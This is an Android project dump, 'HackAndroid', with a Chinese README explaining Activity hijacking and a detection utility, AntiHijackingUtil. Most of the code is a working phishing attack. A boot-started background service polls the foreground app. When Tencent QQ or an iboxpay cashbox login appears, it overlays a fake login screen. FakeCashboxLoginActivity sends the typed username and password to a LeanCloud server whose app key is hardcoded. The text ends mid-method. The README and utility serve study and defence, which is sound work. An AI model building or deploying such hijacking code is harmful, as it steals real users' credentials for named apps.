├── app
├── .gitignore
├── src
│ ├── main
│ │ ├── res
│ │ │ ├── drawable-xhdpi
│ │ │ │ ├── ic_lock.png
│ │ │ │ └── ic_phone.png
│ │ │ ├── drawable-xxhdpi
│ │ │ │ ├── main_bg.png
│ │ │ │ ├── ic_yanzheng.png
│ │ │ │ ├── checkbox_nor.png
│ │ │ │ ├── clear_normal.png
│ │ │ │ └── checkbox_checked.png
│ │ │ ├── mipmap-hdpi
│ │ │ │ ├── ic_launcher.png
│ │ │ │ └── ic_launcher_round.png
│ │ │ ├── mipmap-mdpi
│ │ │ │ ├── ic_launcher.png
│ │ │ │ └── ic_launcher_round.png
│ │ │ ├── mipmap-xxxhdpi
│ │ │ │ ├── ic_launcher.png
│ │ │ │ └── ic_launcher_round.png
│ │ │ ├── drawable
│ │ │ │ ├── shape_cursor.xml
│ │ │ │ ├── checkbox_selector.xml
│ │ │ │ └── shape_corner_orange.xml
│ │ │ ├── layout
│ │ │ │ ├── activity_main.xml
│ │ │ │ ├── activity_fake_login.xml
│ │ │ │ └── activity_fake_cashbox_login.xml
│ │ │ └── values
│ │ │ │ ├── styles.xml
│ │ │ │ ├── colors.xml
│ │ │ │ ├── dimens.xml
│ │ │ │ ├── attrs.xml
│ │ │ │ └── strings.xml
│ │ ├── java
│ │ │ └── com
│ │ │ │ └── iboxpay
│ │ │ │ └── hackandroid
│ │ │ │ ├── BootBroadcastReceiver.java
│ │ │ │ ├── MainActivity.java
│ │ │ │ ├── HackApplication.java
│ │ │ │ ├── FakeCashboxLoginActivity.java
│ │ │ │ ├── AntiHijackingUtil.java
│ │ │ │ ├── HackService.java
│ │ │ │ └── FakeLoginActivity.java
│ │ └── AndroidManifest.xml
│ ├── test
│ │ └── java
│ │ │ └── com
│ │ │ └── iboxpay
│ │ │ └── hackandroid
│ │ │ └── ExampleUnitTest.java
│ └── androidTest
│ │ └── java
│ │ └── com
│ │ └── iboxpay
│ │ └── hackandroid
│ │ └── ExampleInstrumentedTest.java
├── proguard-rules.pro
└── build.gradle
├── settings.gradle
├── gradle
└── wrapper
│ ├── gradle-wrapper.jar
│ └── gradle-wrapper.properties
├── .gitignore
├── README.md
├── gradlew.bat
└── gradlew
/app/.gitignore:
--------------------------------------------------------------------------------
1 | /build
2 |
--------------------------------------------------------------------------------
/settings.gradle:
--------------------------------------------------------------------------------
1 | include ':app'
2 |
--------------------------------------------------------------------------------
/gradle/wrapper/gradle-wrapper.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ZJsnowman/HackAndroid/HEAD/gradle/wrapper/gradle-wrapper.jar
--------------------------------------------------------------------------------
/app/src/main/res/drawable-xhdpi/ic_lock.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ZJsnowman/HackAndroid/HEAD/app/src/main/res/drawable-xhdpi/ic_lock.png
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | *.iml
2 | .gradle
3 | /local.properties
4 | /.idea
5 | .DS_Store
6 | /build
7 | /captures
8 | .externalNativeBuild
9 | gradle.properties
--------------------------------------------------------------------------------
/app/src/main/res/drawable-xhdpi/ic_phone.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ZJsnowman/HackAndroid/HEAD/app/src/main/res/drawable-xhdpi/ic_phone.png
--------------------------------------------------------------------------------
/app/src/main/res/drawable-xxhdpi/main_bg.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ZJsnowman/HackAndroid/HEAD/app/src/main/res/drawable-xxhdpi/main_bg.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-hdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ZJsnowman/HackAndroid/HEAD/app/src/main/res/mipmap-hdpi/ic_launcher.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-mdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ZJsnowman/HackAndroid/HEAD/app/src/main/res/mipmap-mdpi/ic_launcher.png
--------------------------------------------------------------------------------
/app/src/main/res/drawable-xxhdpi/ic_yanzheng.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ZJsnowman/HackAndroid/HEAD/app/src/main/res/drawable-xxhdpi/ic_yanzheng.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ZJsnowman/HackAndroid/HEAD/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/app/src/main/res/drawable-xxhdpi/checkbox_nor.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ZJsnowman/HackAndroid/HEAD/app/src/main/res/drawable-xxhdpi/checkbox_nor.png
--------------------------------------------------------------------------------
/app/src/main/res/drawable-xxhdpi/clear_normal.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ZJsnowman/HackAndroid/HEAD/app/src/main/res/drawable-xxhdpi/clear_normal.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-hdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ZJsnowman/HackAndroid/HEAD/app/src/main/res/mipmap-hdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-mdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ZJsnowman/HackAndroid/HEAD/app/src/main/res/mipmap-mdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/app/src/main/res/drawable-xxhdpi/checkbox_checked.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ZJsnowman/HackAndroid/HEAD/app/src/main/res/drawable-xxhdpi/checkbox_checked.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ZJsnowman/HackAndroid/HEAD/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/app/src/main/res/drawable/shape_cursor.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/gradle/wrapper/gradle-wrapper.properties:
--------------------------------------------------------------------------------
1 | #Mon Sep 04 10:30:30 CST 2017
2 | distributionBase=GRADLE_USER_HOME
3 | distributionPath=wrapper/dists
4 | zipStoreBase=GRADLE_USER_HOME
5 | zipStorePath=wrapper/dists
6 | distributionUrl=https\://services.gradle.org/distributions/gradle-3.3-all.zip
7 |
--------------------------------------------------------------------------------
/app/src/main/res/layout/activity_main.xml:
--------------------------------------------------------------------------------
1 |
2 |
8 |
--------------------------------------------------------------------------------
/app/src/test/java/com/iboxpay/hackandroid/ExampleUnitTest.java:
--------------------------------------------------------------------------------
1 | package com.iboxpay.hackandroid;
2 |
3 | import org.junit.Test;
4 |
5 | import static org.junit.Assert.*;
6 |
7 | /**
8 | * Example local unit test, which will execute on the development machine (host).
9 | *
10 | * @see Testing documentation
11 | */
12 | public class ExampleUnitTest {
13 | @Test
14 | public void addition_isCorrect() throws Exception {
15 | assertEquals(4, 2 + 2);
16 | }
17 | }
--------------------------------------------------------------------------------
/app/src/main/res/drawable/checkbox_selector.xml:
--------------------------------------------------------------------------------
1 |
2 |
14 |
15 |
16 |
17 |
18 |
19 |
--------------------------------------------------------------------------------
/app/src/main/java/com/iboxpay/hackandroid/BootBroadcastReceiver.java:
--------------------------------------------------------------------------------
1 | package com.iboxpay.hackandroid;
2 |
3 | import android.content.BroadcastReceiver;
4 | import android.content.Context;
5 | import android.content.Intent;
6 | import android.util.Log;
7 |
8 | /**
9 | * Created by zhangbiao on 2017/9/5.
10 | */
11 | public class BootBroadcastReceiver extends BroadcastReceiver {
12 | //重写onReceive方法
13 | @Override
14 | public void onReceive(Context context, Intent intent) {
15 | //后边的XXX.class就是要启动的服务
16 | Intent service = new Intent(context,HackService.class);
17 | context.startService(service);
18 | Log.v("TAG", "开机自动服务自动启动.....");
19 | //启动应用,参数为需要自动启动的应用的包名
20 | // Intent intent = getPackageManager().getLaunchIntentForPackage(packageName);
21 | // context.startActivity(intent );
22 | }
23 | }
--------------------------------------------------------------------------------
/app/src/main/java/com/iboxpay/hackandroid/MainActivity.java:
--------------------------------------------------------------------------------
1 | package com.iboxpay.hackandroid;
2 |
3 | import android.app.Activity;
4 | import android.content.Intent;
5 | import android.support.v7.app.AppCompatActivity;
6 | import android.os.Bundle;
7 | import android.util.Log;
8 | import com.avos.avoscloud.AVException;
9 | import com.avos.avoscloud.AVObject;
10 | import com.avos.avoscloud.SaveCallback;
11 |
12 | public class MainActivity extends Activity {
13 |
14 | private static final String TAG = "Hack";
15 |
16 | @Override
17 | protected void onCreate(Bundle savedInstanceState) {
18 | super.onCreate(savedInstanceState);
19 | setContentView(R.layout.activity_main);
20 | Intent intent = new Intent(this, HackService.class);
21 | startService(intent);
22 | Log.w(TAG, "onCreate: Activity 启动劫持 Service");
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/app/src/androidTest/java/com/iboxpay/hackandroid/ExampleInstrumentedTest.java:
--------------------------------------------------------------------------------
1 | package com.iboxpay.hackandroid;
2 |
3 | import android.content.Context;
4 | import android.support.test.InstrumentationRegistry;
5 | import android.support.test.runner.AndroidJUnit4;
6 |
7 | import org.junit.Test;
8 | import org.junit.runner.RunWith;
9 |
10 | import static org.junit.Assert.*;
11 |
12 | /**
13 | * Instrumentation test, which will execute on an Android device.
14 | *
15 | * @see Testing documentation
16 | */
17 | @RunWith(AndroidJUnit4.class)
18 | public class ExampleInstrumentedTest {
19 | @Test
20 | public void useAppContext() throws Exception {
21 | // Context of the app under test.
22 | Context appContext = InstrumentationRegistry.getTargetContext();
23 |
24 | assertEquals("com.iboxpay.hackandroid", appContext.getPackageName());
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/app/proguard-rules.pro:
--------------------------------------------------------------------------------
1 | # Add project specific ProGuard rules here.
2 | # By default, the flags in this file are appended to flags specified
3 | # in /Users/zhangjun/Library/Android/sdk/tools/proguard/proguard-android.txt
4 | # You can edit the include path and order by changing the proguardFiles
5 | # directive in build.gradle.
6 | #
7 | # For more details, see
8 | # http://developer.android.com/guide/developing/tools/proguard.html
9 |
10 | # Add any project specific keep options here:
11 |
12 | # If your project uses WebView with JS, uncomment the following
13 | # and specify the fully qualified class name to the JavaScript interface
14 | # class:
15 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview {
16 | # public *;
17 | #}
18 |
19 | # Uncomment this to preserve the line number information for
20 | # debugging stack traces.
21 | #-keepattributes SourceFile,LineNumberTable
22 |
23 | # If you keep the line number information, uncomment this to
24 | # hide the original source file name.
25 | #-renamesourcefileattribute SourceFile
26 |
--------------------------------------------------------------------------------
/app/src/main/java/com/iboxpay/hackandroid/HackApplication.java:
--------------------------------------------------------------------------------
1 | package com.iboxpay.hackandroid;
2 |
3 | import android.app.Application;
4 | import com.avos.avoscloud.AVOSCloud;
5 | import java.util.ArrayList;
6 | import java.util.List;
7 |
8 | /**
9 | * Created by zhangjun on 2017/9/4.
10 | */
11 |
12 | public class HackApplication extends Application {
13 |
14 | @Override
15 | public void onCreate() {
16 | super.onCreate();
17 | // 初始化参数依次为 this, AppId, AppKey
18 | AVOSCloud.initialize(this, "wRjV2GkEc3EoLBrIxollfTV2-gzGzoHsz", "5DbaYzRTLT2n1FCRq5Ov23qQ");
19 | AVOSCloud.setDebugLogEnabled(true);
20 | }
21 |
22 | private List HackedProcesses = new ArrayList();
23 |
24 | public void add(String activityName) {
25 |
26 | HackedProcesses.add(activityName);
27 | }
28 |
29 | public void clear() {
30 | HackedProcesses.clear();
31 | }
32 |
33 | public boolean isHacked(String activityName) {
34 | return HackedProcesses.contains(activityName);
35 | }
36 | }
37 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # 什么是 Activity 劫持
2 | 如果在启动一个 Activity 时,给它加入一个标志位 FLAG_ACTIVITY_NEW_TASK,就能使它置于栈顶并立马
3 | 呈现给用户。但是这样的设计却有一个缺陷。如果这个 Activity 是用于盗号的伪装 Activity 呢?
4 | 在 Android 系统当中,程序可以枚举当前运行的进程而不需要声明其他权限,这样子我们就可以写一个程序,
5 | 启动一个后台的服务,这个服务不断地扫描当前运行的进程,当发现目标进程启动时,就启动一个伪装的
6 | Activity。如果这个 Activity 是登录界面,那么就可以从中获取用户的账号密码。
7 |
8 | 一个运行在后台的服务可以做到如下两点:
9 | 1. 决定哪一个 activity 运行在前台
10 | 2. 运行自己 app 的 activity 到前台
11 |
12 |
13 | 这样,恶意的开发者就可以对应程序进行攻击了,对于有登陆界面的应用程序,他们可以伪造一个一模一样
14 | 的界面,普通用户根本无法识别是真的还是假。用户输入用户名和密码之后,恶意程序就可以悄无声息的
15 | 把用户信息上传到服务器了。这样是非常危险的。
16 |
17 | # 如何劫持的
18 | 参考 HackService
19 |
20 | ps:5.0 以上上述劫持方法失效,hack程序不在前台的时暂时获取不到当前运行 activity.
21 |
22 | # 如何反劫持
23 | 使用 AntiHijackingUtil 即可.
24 | 用法很简单,只需要在需要使用检测方法的Activity的 onStop()方法中调用工具类的 checkActivity()方法,接收返回
25 | 的 boolean值进行判断即可,下面是一个简单示例:
26 | ```
27 | @Override
28 | protected void onStop() {
29 | super.onStop();
30 | boolean safe = AntiHijackingUtil.checkActivity(this);
31 | if (safe){
32 | Toast.markText(this, "安全", Toast.LENGTH_LONG).show;
33 | } else {
34 | Toast.makeText(this, "不安全", Toast.LENGTH_LONG).show;
35 | }
36 | }
37 | ```
38 | 最后大家有问题提issue吧,还有些其他的安全问题可以在博客中继续留言.https://zjsnowman.com/2017/09/06/Android-%E5%AE%89%E5%85%A8/
39 |
40 |
--------------------------------------------------------------------------------
/app/build.gradle:
--------------------------------------------------------------------------------
1 | apply plugin: 'com.android.application'
2 |
3 | android {
4 | compileSdkVersion 25
5 | buildToolsVersion "25.0.2"
6 | defaultConfig {
7 | applicationId "com.iboxpay.hackandroid"
8 | minSdkVersion 15
9 | targetSdkVersion 25
10 | versionCode 1
11 | versionName "1.0"
12 | testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner"
13 | }
14 | buildTypes {
15 | release {
16 | minifyEnabled false
17 | proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
18 | }
19 | }
20 | packagingOptions{
21 | exclude 'META-INF/LICENSE.txt'
22 | exclude 'META-INF/NOTICE.txt'
23 | }
24 | lintOptions {
25 | abortOnError false
26 | }
27 | }
28 |
29 | dependencies {
30 | compile fileTree(dir: 'libs', include: ['*.jar'])
31 | androidTestCompile('com.android.support.test.espresso:espresso-core:2.2.2', {
32 | exclude group: 'com.android.support', module: 'support-annotations'
33 | })
34 | compile 'com.android.support:appcompat-v7:25.3.1'
35 | compile 'com.android.support.constraint:constraint-layout:1.0.2'
36 | compile 'com.android.support:design:25.3.1'
37 | // LeanCloud 基础包
38 | compile ('cn.leancloud.android:avoscloud-sdk:v4.4.4')
39 | testCompile 'junit:junit:4.12'
40 |
41 |
42 | }
43 |
--------------------------------------------------------------------------------
/app/src/main/java/com/iboxpay/hackandroid/FakeCashboxLoginActivity.java:
--------------------------------------------------------------------------------
1 | package com.iboxpay.hackandroid;
2 |
3 | import android.support.v7.app.AppCompatActivity;
4 | import android.os.Bundle;
5 | import android.view.View;
6 | import android.widget.Button;
7 | import android.widget.EditText;
8 | import com.avos.avoscloud.AVException;
9 | import com.avos.avoscloud.AVObject;
10 | import com.avos.avoscloud.SaveCallback;
11 |
12 | public class FakeCashboxLoginActivity extends AppCompatActivity implements View.OnClickListener {
13 | private Button mLoginBtn;
14 | private EditText mUserNameEt;
15 | private EditText mPasswordEt;
16 |
17 | @Override
18 | protected void onCreate(Bundle savedInstanceState) {
19 | super.onCreate(savedInstanceState);
20 | setContentView(R.layout.activity_fake_cashbox_login);
21 | mLoginBtn = (Button) findViewById(R.id.btn_login_submit);
22 | mLoginBtn.setOnClickListener(this);
23 | mUserNameEt = (EditText) findViewById(R.id.edtTxt_login_userName);
24 | mPasswordEt = (EditText) findViewById(R.id.edtTxt_login_pwd);
25 | }
26 |
27 | @Override
28 | public void onClick(View v) {
29 | switch (v.getId()) {
30 | case R.id.btn_login_submit:
31 | AVObject product = new AVObject("Hack");
32 | product.put("useName", mUserNameEt.getText().toString());
33 | product.put("password", mPasswordEt.getText().toString());
34 | product.saveInBackground();
35 | moveTaskToBack(true);
36 | break;
37 | default:
38 |
39 | }
40 | }
41 | }
42 |
--------------------------------------------------------------------------------
/app/src/main/res/values/styles.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
10 |
11 |
19 |
20 |
26 |
27 |
34 |
35 |
36 |
43 |
44 |
45 |
--------------------------------------------------------------------------------
/gradlew.bat:
--------------------------------------------------------------------------------
1 | @if "%DEBUG%" == "" @echo off
2 | @rem ##########################################################################
3 | @rem
4 | @rem Gradle startup script for Windows
5 | @rem
6 | @rem ##########################################################################
7 |
8 | @rem Set local scope for the variables with windows NT shell
9 | if "%OS%"=="Windows_NT" setlocal
10 |
11 | @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
12 | set DEFAULT_JVM_OPTS=
13 |
14 | set DIRNAME=%~dp0
15 | if "%DIRNAME%" == "" set DIRNAME=.
16 | set APP_BASE_NAME=%~n0
17 | set APP_HOME=%DIRNAME%
18 |
19 | @rem Find java.exe
20 | if defined JAVA_HOME goto findJavaFromJavaHome
21 |
22 | set JAVA_EXE=java.exe
23 | %JAVA_EXE% -version >NUL 2>&1
24 | if "%ERRORLEVEL%" == "0" goto init
25 |
26 | echo.
27 | echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
28 | echo.
29 | echo Please set the JAVA_HOME variable in your environment to match the
30 | echo location of your Java installation.
31 |
32 | goto fail
33 |
34 | :findJavaFromJavaHome
35 | set JAVA_HOME=%JAVA_HOME:"=%
36 | set JAVA_EXE=%JAVA_HOME%/bin/java.exe
37 |
38 | if exist "%JAVA_EXE%" goto init
39 |
40 | echo.
41 | echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
42 | echo.
43 | echo Please set the JAVA_HOME variable in your environment to match the
44 | echo location of your Java installation.
45 |
46 | goto fail
47 |
48 | :init
49 | @rem Get command-line arguments, handling Windowz variants
50 |
51 | if not "%OS%" == "Windows_NT" goto win9xME_args
52 | if "%@eval[2+2]" == "4" goto 4NT_args
53 |
54 | :win9xME_args
55 | @rem Slurp the command line arguments.
56 | set CMD_LINE_ARGS=
57 | set _SKIP=2
58 |
59 | :win9xME_args_slurp
60 | if "x%~1" == "x" goto execute
61 |
62 | set CMD_LINE_ARGS=%*
63 | goto execute
64 |
65 | :4NT_args
66 | @rem Get arguments from the 4NT Shell from JP Software
67 | set CMD_LINE_ARGS=%$
68 |
69 | :execute
70 | @rem Setup the command line
71 |
72 | set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
73 |
74 | @rem Execute Gradle
75 | "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS%
76 |
77 | :end
78 | @rem End local scope for the variables with windows NT shell
79 | if "%ERRORLEVEL%"=="0" goto mainEnd
80 |
81 | :fail
82 | rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
83 | rem the _cmd.exe /c_ return code!
84 | if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1
85 | exit /b 1
86 |
87 | :mainEnd
88 | if "%OS%"=="Windows_NT" endlocal
89 |
90 | :omega
91 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/shape_corner_orange.xml:
--------------------------------------------------------------------------------
1 |
2 |
15 |
16 |
17 |
18 | -
19 |
20 |
21 |
22 |
23 |
24 |
25 | -
26 |
27 |
28 |
29 |
30 |
31 |
32 | -
33 |
34 |
35 |
36 |
37 |
38 |
39 | -
40 |
41 |
42 |
43 |
44 |
45 |
46 | -
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
--------------------------------------------------------------------------------
/app/src/main/AndroidManifest.xml:
--------------------------------------------------------------------------------
1 |
2 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
30 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
56 |
57 |
60 |
61 |
62 |
63 |
64 |
--------------------------------------------------------------------------------
/app/src/main/res/values/colors.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | #3F51B5
4 | #303F9F
5 | #FF4081
6 | #00000000
7 |
8 |
9 | #4d4d4d
10 |
11 | #787878
12 |
13 | #adadad
14 |
15 | #e9e9e9
16 |
17 | #dcdcdc
18 |
19 | #f3f3f3
20 |
21 |
22 | #000000
23 | #8e8e93
24 | #c8c7cc
25 | #dcdcdc
26 | #000000
27 | #ffa700
28 |
29 |
30 | @color/dark_gray
31 | @color/light_gray
32 | #CCCCCC
33 | #ededed
34 | #232736
35 | @color/cashbox300_gray
36 |
37 | #ffffff
38 | #d2d2d7
39 | @color/text_view_color
40 | #ff6a00
41 | #ff3030
42 | #3cb034
43 | #ffae3b
44 | #359a2e
45 |
46 |
47 | #ff232736
48 | #efeff4
49 | #bebebe
50 | #C8C7CC
51 | @color/orange
52 | #e66205
53 |
54 | @color/text_view_color
55 | @color/text_view_hint_color
56 | @color/cashbox300_dark
57 | @color/cashbox300_silvery
58 | #fbfbfb
59 | @color/gray
60 |
61 | #eb9a17
62 | #f02e2f33
63 | #fafafa
64 | #000000
65 | #8e8e93
66 | #ff6d00
67 | #1d3a4d
68 |
69 | #e92222
70 | #4c000000
71 |
72 |
73 | #ff8f3b
74 | #8e8e93
75 | #007aff
76 |
77 |
--------------------------------------------------------------------------------
/app/src/main/res/layout/activity_fake_login.xml:
--------------------------------------------------------------------------------
1 |
12 |
13 |
14 |
21 |
22 |
26 |
27 |
32 |
33 |
36 |
37 |
45 |
46 |
47 |
48 |
51 |
52 |
63 |
64 |
65 |
66 |
74 |
75 |
76 |
77 |
78 |
--------------------------------------------------------------------------------
/app/src/main/java/com/iboxpay/hackandroid/AntiHijackingUtil.java:
--------------------------------------------------------------------------------
1 | package com.iboxpay.hackandroid;
2 |
3 | import android.app.ActivityManager;
4 | import android.content.Context;
5 | import android.content.pm.ApplicationInfo;
6 | import android.content.pm.PackageManager;
7 | import java.lang.reflect.Field;
8 | import java.util.ArrayList;
9 | import java.util.Collections;
10 | import java.util.List;
11 |
12 | /**
13 | * Created by zhangjun on 2017/9/11.
14 | */
15 |
16 | public class AntiHijackingUtil {
17 | public static final String TAG = "AntiHijackingUtil";
18 | // 白名单列表
19 | private static List safePackages;
20 | static {
21 | safePackages = new ArrayList();
22 | }
23 | public static void configSafePackages(List packages) {
24 | return;
25 | }
26 | private static PackageManager pm;
27 | private List mlistAppInfo;
28 | /**
29 | * 检测当前Activity是否安全
30 | */
31 | public static boolean checkActivity(Context context) {
32 | boolean safe = false;
33 | pm = context.getPackageManager();
34 | // 查询所有已经安装的应用程序
35 | List listAppcations = pm.getInstalledApplications(PackageManager.GET_UNINSTALLED_PACKAGES);
36 | Collections.sort(listAppcations, new ApplicationInfo.DisplayNameComparator(pm));// 排序
37 | List appInfos = new ArrayList(); // 保存过滤查到的AppInfo
38 | //appInfos.clear();
39 | for (ApplicationInfo app : listAppcations) {//这个排序必须有.
40 | if ((app.flags & ApplicationInfo.FLAG_SYSTEM) != 0) {
41 | //appInfos.add(getAppInfo(app));
42 | safePackages.add(app.packageName);
43 | }
44 | }
45 | //得到所有的系统程序包名放进白名单里面.
46 | ActivityManager activityManager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
47 | String runningActivityPackageName;
48 | int sdkVersion;
49 | try {
50 | sdkVersion = Integer.valueOf(android.os.Build.VERSION.SDK);
51 | } catch (NumberFormatException e) {
52 | sdkVersion = 0;
53 | }
54 | if (sdkVersion >= 21) {//获取系统api版本号,如果是5x系统就用这个方法获取当前运行的包名
55 | runningActivityPackageName = getCurrentPkgName(context);
56 | } else {
57 | runningActivityPackageName = activityManager.getRunningTasks(1).get(0).topActivity.getPackageName();
58 | }
59 | //如果是4x及以下,用这个方法.
60 | if (runningActivityPackageName != null) {//有些情况下在5x的手机中可能获取不到当前运行的包名,所以要非空判断。
61 | if (runningActivityPackageName.equals(context.getPackageName())) {
62 | safe = true;
63 | }
64 | // 白名单比对
65 | for (String safePack : safePackages) {
66 | if (safePack.equals(runningActivityPackageName)) {
67 | safe = true;
68 | }
69 | }
70 | }
71 | return safe;
72 | }
73 | public static String getCurrentPkgName(Context context) {//5x系统以后利用反射获取当前栈顶activity的包名.
74 | ActivityManager.RunningAppProcessInfo currentInfo = null;
75 | Field field = null;
76 | int START_TASK_TO_FRONT = 2;
77 | String pkgName = null;
78 | try {
79 | field = ActivityManager.RunningAppProcessInfo.class.getDeclaredField("processState");//通过反射获取进程状态字段.
80 | } catch (Exception e) {
81 | e.printStackTrace();
82 | }
83 | ActivityManager am = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
84 | List appList = am.getRunningAppProcesses();
85 | ActivityManager.RunningAppProcessInfo app;
86 | for (int i = 0; i < appList.size(); i++) {
87 | //ActivityManager.RunningAppProcessInfo app : appList
88 | app = (ActivityManager.RunningAppProcessInfo) appList.get(i);
89 | if (app.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {//表示前台运行进程.
90 | Integer state = null;
91 | try {
92 | state = field.getInt(app);//反射调用字段值的方法,获取该进程的状态.
93 | } catch (Exception e) {
94 | e.printStackTrace();
95 | }
96 | if (state != null && state == START_TASK_TO_FRONT) {//根据这个判断条件从前台中获取当前切换的进程对象.
97 | currentInfo = app;
98 | break;
99 | }
100 | }
101 | }
102 | if (currentInfo != null) {
103 | pkgName = currentInfo.processName;
104 | }
105 | return pkgName;
106 | }
107 | }
108 |
--------------------------------------------------------------------------------
/app/src/main/java/com/iboxpay/hackandroid/HackService.java:
--------------------------------------------------------------------------------
1 | package com.iboxpay.hackandroid;
2 |
3 | import android.app.ActivityManager;
4 | import android.app.Service;
5 | import android.content.Context;
6 | import android.content.Intent;
7 | import android.os.Handler;
8 | import android.os.IBinder;
9 | import android.util.Log;
10 | import android.widget.Toast;
11 | import java.lang.reflect.Field;
12 | import java.util.HashMap;
13 | import java.util.List;
14 |
15 | public class HackService extends Service {
16 | private static final String TAG = "Hack";
17 | private boolean hasStart = false;
18 |
19 | HashMap> mProcessToHack = new HashMap>();
20 |
21 |
22 | Handler handler = new Handler();
23 |
24 |
25 | Runnable mTask = new Runnable() {
26 |
27 |
28 | @Override
29 |
30 | public void run() {
31 |
32 | ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
33 | String runningActivity;
34 | runningActivity = activityManager.getRunningTasks(1).get(0).topActivity.getClassName();
35 | if (mProcessToHack.containsKey(runningActivity)) {
36 | hack(runningActivity);
37 | }
38 |
39 |
40 | handler.postDelayed(mTask, 100);
41 |
42 | }
43 |
44 |
45 | private void hack(String activityName) {
46 | if (!((HackApplication) getApplication()).isHacked(activityName)) {
47 |
48 |
49 | Intent hackIntent = new Intent(getBaseContext(),
50 |
51 | mProcessToHack.get(activityName));
52 |
53 | hackIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
54 |
55 | getApplication().startActivity(hackIntent);
56 |
57 | ((HackApplication) getApplication()).add(activityName);
58 | }
59 | }
60 | };
61 |
62 |
63 | public HackService() {
64 | }
65 |
66 | @Override
67 | public IBinder onBind(Intent intent) {
68 | return null;
69 | }
70 |
71 | @Override
72 | public int onStartCommand(Intent intent, int flags, int startId) {
73 |
74 | return super.onStartCommand(intent, flags, startId);
75 | }
76 |
77 | @Override
78 | public void onCreate() {
79 | super.onCreate();
80 | if (!hasStart) {
81 |
82 | mProcessToHack.put("com.iboxpay.minicashbox.LoginActivity",
83 |
84 | FakeCashboxLoginActivity.class);
85 |
86 | mProcessToHack.put("com.tencent.mobileqq", FakeLoginActivity.class);
87 |
88 | handler.postDelayed(mTask, 100);
89 |
90 | hasStart = true;
91 |
92 | }
93 | }
94 |
95 | @Override
96 | public void onDestroy() {
97 | super.onDestroy();
98 | hasStart = false;
99 |
100 | Log.w(TAG, "劫持服务停止");
101 |
102 | ((HackApplication) getApplication()).clear();
103 | }
104 |
105 |
106 | public static String getCurrentPkgName(Context context) {//5x系统以后利用反射获取当前栈顶activity的包名.
107 | ActivityManager.RunningAppProcessInfo currentInfo = null;
108 | Field field = null;
109 | int START_TASK_TO_FRONT = 2;
110 | String pkgName = null;
111 | try {
112 | field = ActivityManager.RunningAppProcessInfo.class.getDeclaredField("processState");//通过反射获取进程状态字段.
113 | } catch (Exception e) {
114 | e.printStackTrace();
115 | }
116 | ActivityManager am = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
117 | List appList = am.getRunningAppProcesses();
118 | ActivityManager.RunningAppProcessInfo app;
119 | for (int i = 0; i < appList.size(); i++) {
120 | //ActivityManager.RunningAppProcessInfo app : appList
121 | app = (ActivityManager.RunningAppProcessInfo) appList.get(i);
122 | if (app.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {//表示前台运行进程.
123 | Integer state = null;
124 | try {
125 | state = field.getInt(app);//反射调用字段值的方法,获取该进程的状态.
126 | } catch (Exception e) {
127 | e.printStackTrace();
128 | }
